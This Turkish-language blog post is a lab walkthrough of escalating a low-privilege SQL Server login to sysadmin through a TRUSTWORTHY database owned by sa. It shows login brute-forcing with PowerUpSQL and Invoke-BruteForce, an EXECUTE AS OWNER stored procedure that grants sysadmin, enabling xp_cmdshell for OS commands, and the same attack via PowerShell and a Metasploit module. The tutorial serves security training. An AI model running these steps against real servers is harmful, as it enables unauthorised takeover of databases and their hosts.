Sitemap

SQL Server Trustworthy Database — Public to Sysadmin

6 min readMar 28, 2021

Bu konu aslında bana Unconstrained Delegation konusunu andırıyor. Neden böyle dediğimi Tursthworthy özelliğini kötüye nasıl kullandığımızı açıkladığımda göreceksinizdir.

Nasıl Kötüye Kullanılır ve Nedir?

Veritabanımızın sahiplerinden biri yüksek yetkili bir kullanıcı olsun (mesela sa kullanıcısı olabilir) aynı zamanda düşük yetkilerde bu database üzerinde tam yetkiye sahip bir kullanıcı (db_owner) daha olsun. İlgili veritabanı üzerinde database özelliği trusthorthy olarak ayarlandıysa. Düşük yetikili kullanıcı yüksek yetkili kullanıcı adına işlem gerçekleştirebilir anlamına gelmektedir. Neden şimdi Unconstrained Delegation konusuna benzettiğimi anlamışssınızdır diye düşünüyorum…

Lab Ortamı

SQL Server’ım DB-01 isimli bir makina üzerinde koşmaktadır. Ben bu makinaya bağlanıp sa kullanıcısı ile SQL Server üzerine oturum açacağım. İlk başta lab ortamını ayarlamaya çalışıyorum. Kodları yorumlayarak siz de ne yaptığımızı anayabilirsiniz.

-- Create database
CREATE DATABASE TRUSTWORTHYdb
-- Verify sa is the owner of the application database
SELECT suser_sname(owner_sid)
FROM sys.databases
WHERE name = 'TRUSTWORTHYdb'

sa kullanıcısı ile veritabanını oluşuturduk ve daha sonrasında bunun kontrolünü gerçekleştirdik. sys.databases içerisinde name sütununa göre okuma işlemi yaptık ve sa kullanıcısını görmüş olduk.

Şimdi düşük yetkili bir kullanıcı oluşturup bu kullancıyı yukarıda oluşturduğumuz veritabanında db_owner yapalım.

-- Create login
CREATE LOGIN TRUSTWORTHYUser WITH PASSWORD = 'Password1';
-- Setup MyAppUsers the db_owner role in MyAppDb
USE TRUSTWORTHYdb
ALTER LOGIN [TRUSTWORTHYUser] with default_database = [TRUSTWORTHYdb];
CREATE USER [TRUSTWORTHYUser] FROM LOGIN [TRUSTWORTHYUser];
EXEC sp_addrolemember [db_owner], [TRUSTWORTHYUser];

Ve son olarak veritabanımıza Trustwothy özelliğini verelim.

ALTER DATABASE TRUSTWORTHYdb SET TRUSTWORTHY ON

Bu işlemi aşağıdaki sorgu ile kontrol edebilirsiniz.

SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;

Aşaıdakine benzer bir sonuç çıkması gerekmektedir.

master  0
tempdb 0
model 0
msdb 1
ReportServer$SQLEXPRESS 0
PerkBankDb 0
TRUSTWORTHYdb 1

msdb veritabanı default olarak trustworthy’dir. Buna şaşırmayınız.

Kötüye Kullanma

Aslında yapmaya çalıaşcağımız şey TRUSTWORTHYUser kullanıcısını sysadmin yapmak olacaktır. Bunu manuel bir şekilde, powershell üzerinden ve msfconsole ile nasl yapabileceğimizi size göstereceğim. Konuyu iyi anlayabilmek için ilk olarak bu işlemi manuel bir şekilde gerçekleştirelim.

Sisteme TRUSTWORTHYUser kullanıcısı ile bağlanmış olmamız gerekmektedir. Bunun için TRUSTWORTHYUser kullanıcısının şifresini xaten biliyor olmamız gerekecektir. Bunu kabakuvvet ya da başka bir yöntem ile elde ettiğimizi varsayıyorum.

PS C:\Tool\PowerUpSQL> Import-Module .\PowerUpSQL.ps1
PS C:\Tool\PowerUpSQL> Get-SQLInstanceDomain -Verbose
VERBOSE: Grabbing SPNs from the domain for SQL Servers (MSSQL*)...
VERBOSE: Parsing SQL Server instances from SPNs...
VERBOSE: 1 instances were found.
ComputerName : DB-01.bkg.lab
Instance : DB-01.bkg.lab
DomainAccountSid : 15000005210001501202015481132261119011923479400
DomainAccount : DB-01$
DomainAccountCn : DB-01
Service : MSSQLSvc
Spn : MSSQLSvc/DB-01.bkg.lab
LastLogon : 12/20/2020 8:24 PM
Description :
PS C:\Tool\PowerUpSQL> Import-Module C:\Tool\nishang\Scan\Invoke-BruteForce.ps1
PS C:\Tool\PowerUpSQL>
PS C:\Tool\PowerUpSQL>
PS C:\Tool\PowerUpSQL> Get-SQLFuzzServerLogin -Instance DB-01.bkg.lab -Verbose
VERBOSE: DB-01.bkg.lab : Connection Success.
VERBOSE: DB-01.bkg.lab : Enumerating principal names from 10000 principal IDs..
VERBOSE: DB-01.bkg.lab : Complete.
ComputerName Instance PrincipalId PrincipleName
------------ -------- ----------- -------------
DB-01.bkg.lab DB-01.bkg.lab 1 sa
DB-01.bkg.lab DB-01.bkg.lab 2 public
DB-01.bkg.lab DB-01.bkg.lab 3 sysadmin
DB-01.bkg.lab DB-01.bkg.lab 4 securityadmin
DB-01.bkg.lab DB-01.bkg.lab 5 serveradmin
DB-01.bkg.lab DB-01.bkg.lab 6 setupadmin
DB-01.bkg.lab DB-01.bkg.lab 7 processadmin
DB-01.bkg.lab DB-01.bkg.lab 8 diskadmin
DB-01.bkg.lab DB-01.bkg.lab 9 dbcreator
DB-01.bkg.lab DB-01.bkg.lab 10 bulkadmin
DB-01.bkg.lab DB-01.bkg.lab 101 ##MS_SQLResourceSigningCertificate##
DB-01.bkg.lab DB-01.bkg.lab 102 ##MS_SQLReplicationSigningCertificate##
DB-01.bkg.lab DB-01.bkg.lab 103 ##MS_SQLAuthenticatorCertificate##
DB-01.bkg.lab DB-01.bkg.lab 105 ##MS_PolicySigningCertificate##
DB-01.bkg.lab DB-01.bkg.lab 106 ##MS_SmoExtendedSigningCertificate##
DB-01.bkg.lab DB-01.bkg.lab 121 ##Agent XPs##
DB-01.bkg.lab DB-01.bkg.lab 122 ##SQL Mail XPs##
DB-01.bkg.lab DB-01.bkg.lab 123 ##Database Mail XPs##
DB-01.bkg.lab DB-01.bkg.lab 124 ##SMO and DMO XPs##
DB-01.bkg.lab DB-01.bkg.lab 125 ##Ole Automation Procedures##
DB-01.bkg.lab DB-01.bkg.lab 126 ##Web Assistant Procedures##
DB-01.bkg.lab DB-01.bkg.lab 127 ##xp_cmdshell##
DB-01.bkg.lab DB-01.bkg.lab 128 ##Ad Hoc Distributed Queries##
DB-01.bkg.lab DB-01.bkg.lab 129 ##Replication XPs##
DB-01.bkg.lab DB-01.bkg.lab 256 ##MS_PolicyEventProcessingLogin##
DB-01.bkg.lab DB-01.bkg.lab 257 ##MS_PolicyTsqlExecutionLogin##
DB-01.bkg.lab DB-01.bkg.lab 258 ##MS_AgentSigningCertificate##
DB-01.bkg.lab DB-01.bkg.lab 259 BKG\dbAdmin
DB-01.bkg.lab DB-01.bkg.lab 260 NT SERVICE\SQLWriter
DB-01.bkg.lab DB-01.bkg.lab 261 NT SERVICE\Winmgmt
DB-01.bkg.lab DB-01.bkg.lab 262 NT Service\MSSQL$SQLEXPRESS
DB-01.bkg.lab DB-01.bkg.lab 263 BUILTIN\Users
DB-01.bkg.lab DB-01.bkg.lab 264 NT AUTHORITY\SYSTEM
DB-01.bkg.lab DB-01.bkg.lab 265 BKG\YetkisizUser
DB-01.bkg.lab DB-01.bkg.lab 267 kuday
DB-01.bkg.lab DB-01.bkg.lab 268 MyUser1
DB-01.bkg.lab DB-01.bkg.lab 269 MyUser2
DB-01.bkg.lab DB-01.bkg.lab 270 MyUser3
DB-01.bkg.lab DB-01.bkg.lab 271 MyUser4
DB-01.bkg.lab DB-01.bkg.lab 273 TRUSTWORTHYUser
PS C:\Tool\PowerUpSQL>

Yukarıdaki kodlara bakıldığında Powerupsql modülünün ve Invoke-Bruteforce modülünün import edildiğini görüyorsunuz. Database sunucusu ile ilgli bir enum işlemi gerçekleştirilip kulanıcılar tespit edilmiş.

Şimdi bir bruteforce işlemi yapalım.

PS C:\Tool\PowerUpSQL> Invoke-BruteForce -ComputerName DB-01.bkg.lab -UserList C:\Users\User\Desktop\USER.txt -PasswordList C:\Users\User\Desktop\PASS.txt -Service SQL -StopOnSuccess $true
Brute Forcing SQL Service on DB-01.bkg.lab
Match found! TRUSTWORTHYUser : Password1
SQL Server 2014
PS C:\Tool\PowerUpSQL>

Şimdi bu kullanıcı ile sisteme bağlanabiliriz. Ben rafik arayüzü olan HeidiSQL aracını tercih ediyorum. Sistee bağlandıktan sonra aşaıdaki kodu ilk olarak çalıştırıyorum.

--Verify MyAppUser is not a sysadmin
SELECT is_srvrolemember('sysadmin')

Bu sorgunun cevabı 0 olarak dönüyor yani sysadmin değiliz. Amacımız dediğim gibi sysadmin olmak olacaktır. Enumeration amaçlı aşağıdaki sorguyu çalıştırdığımda Trustworthy özelliğinin aktif olduğunu görüyorum.

SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;

Hemen bir stored procedure yazıp bunu kötüye kullanalım.

-- Create a stored procedure to add MyAppUser to sysadmin role
USE MyAppDb
GO
CREATE PROCEDURE YUKSELT
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'TRUSTWORTHYUser','sysadmin'
GO
EXEC YUKSELT

Bu işlemlerden sonra tekrar kontrol edelim.

SELECT is_srvrolemember('sysadmin')

Şimdi 1 sonucunu alacağız. Bu da demek oluyor ki artık sysadmin’iz. Hemen işletim sistemi seviyesinde kod çalıştırmak için gerekli ayarlamaları yapalım.

-- Enable show options
EXEC sp_configure 'show advanced options',1
RECONFIGURE
GO
-- Enable xp_cmdshell
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
GO

Ve artık hazırız.

-- Verify sysadmin role
EXEC master..xp_cmdshell 'whoami'

Yukarıdaki sorgunun sonucunu nt service\mssql$sqlexpress şeklinde elde ettim.

Şimdi yukarıdaki işlemleri otomatik bir şekilde nasıl yapacağımıza bakalım…

Powershell Kullanımı

Senaryonun başına dönelim ve enum işlemlerini yaptığımızı farz edelim. Powershell ile hızlı bir şekilde nasıl sysadmin olacağımıza bakalım. Bu işlem için kullancağımız powershell koduna buradan ulaşabilirsiniz.

İlk önce powershell kodunu çalıştırmadan aşağıdaki sql scritini çalıştırıyorum ve 0 sonucunu elde ediyorum.

SELECT is_srvrolemember('sysadmin')

Şimdi powershell komutumuzu devreye sokalım.

PS C:\Tool> Invoke-SqlServer-Escalate-DbOwner -SqlUser TRUSTWORTHYUser -SqlPass Password1 -SqlServerInstance DB-01.bkg.lab  -Verbose
[*] Attempting to Connect to DB-01.bkg.lab as TRUSTWORTHYUser...
[*] Connected.
[*] Enumerating accessible trusted databases owned by sysadmins...
[*] Found 1 trusted databases owned by a sysadmin.
[*] Checking if TRUSTWORTHYUser has the db_owner role in any of them...
[*] TRUSTWORTHYUser has db_owner role in 1 of the databases.
[*] Attempting to add TRUSTWORTHYUser to the sysadmin role via the TRUSTWORTHYdb database...
[*] Success! - TRUSTWORTHYUser is now a sysadmin.
[*] All done.
PS C:\Tool>

Harika! Şimdi kontrolünü tekrar aşağıdaki sql kodu ile gerçekleştirelim. Cevap olarak 1 değerini elde etmemiz gerekecektir.

SELECT is_srvrolemember('sysadmin')

Msfconsole Kullanımı

Yukarıdaki işlein aynısını msfconsole üzerinden de yapabiliriz.

msf6 auxiliary(admin/mssql/mssql_escalate_dbowner) > show options Module options (auxiliary/admin/mssql/mssql_escalate_dbowner):   Name                 Current Setting  Required  Description
---- --------------- -------- -----------
PASSWORD Password1 no The password for the specified username
RHOSTS 10.10.250.152 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 1433 yes The target port (TCP)
TDSENCRYPTION false yes Use TLS/SSL for TDS data "Force Encryption"
USERNAME TRUSTWORTHYUser no The username to authenticate as
USE_WINDOWS_AUTHENT false yes Use windows authentification (requires DOMAIN option set)

Yukardaki gibi msfconsole üzerinde değişiklikler yaptım. İlk önce bir kontrol işlemi gerçekleştirelim… Aşağıdaki sql sorgusunun cevabı 0 olarak dönmektedir.

SELECT is_srvrolemember('sysadmin')

Şimdi auxiliary/admin/mssql/mssql_escalate_dbowner modülünü çalıştıralım.

sf6 auxiliary(admin/mssql/mssql_escalate_dbowner) > run
[*] Running module against 10.10.250.152
[*] 10.10.250.152:1433 - Attempting to connect to the database server at 10.10.250.152:1433 as TRUSTWORTHYUser...
[+] 10.10.250.152:1433 - Connected.
[*] 10.10.250.152:1433 - Checking if TRUSTWORTHYUser has the sysadmin role...
[*] 10.10.250.152:1433 - You're NOT a sysadmin, let's try to change that
[*] 10.10.250.152:1433 - Checking for trusted databases owned by sysadmins...
[+] 10.10.250.152:1433 - 1 affected database(s) were found:
[*] 10.10.250.152:1433 - - TRUSTWORTHYdb
[*] 10.10.250.152:1433 - Checking if the user has the db_owner role in any of them...
[+] 10.10.250.152:1433 - - db_owner on TRUSTWORTHYdb found!
[*] 10.10.250.152:1433 - Attempting to escalate in TRUSTWORTHYdb!
[*] 10.10.250.152:1433 - TRUSTWORTHYdb
[+] 10.10.250.152:1433 - Congrats, TRUSTWORTHYUser is now a sysadmin!.
[*] Auxiliary module execution completed

Harika! Kontrol işlemini yaptığınızda SELECT is_srvrolemember('sysadmin') sorgusunun 1 olarak geldiğini göreceksinizdir.

Yazının Orjinali: SQL Server Trustworthy Database — Public to Sysadmin — Beren Kuday GÖRÜN

--

--

Beren Kuday GÖRÜN
Beren Kuday GÖRÜN

Written by Beren Kuday GÖRÜN

Siber Güvenlik Uzmanı & Full Stack Geliştirici

No responses yet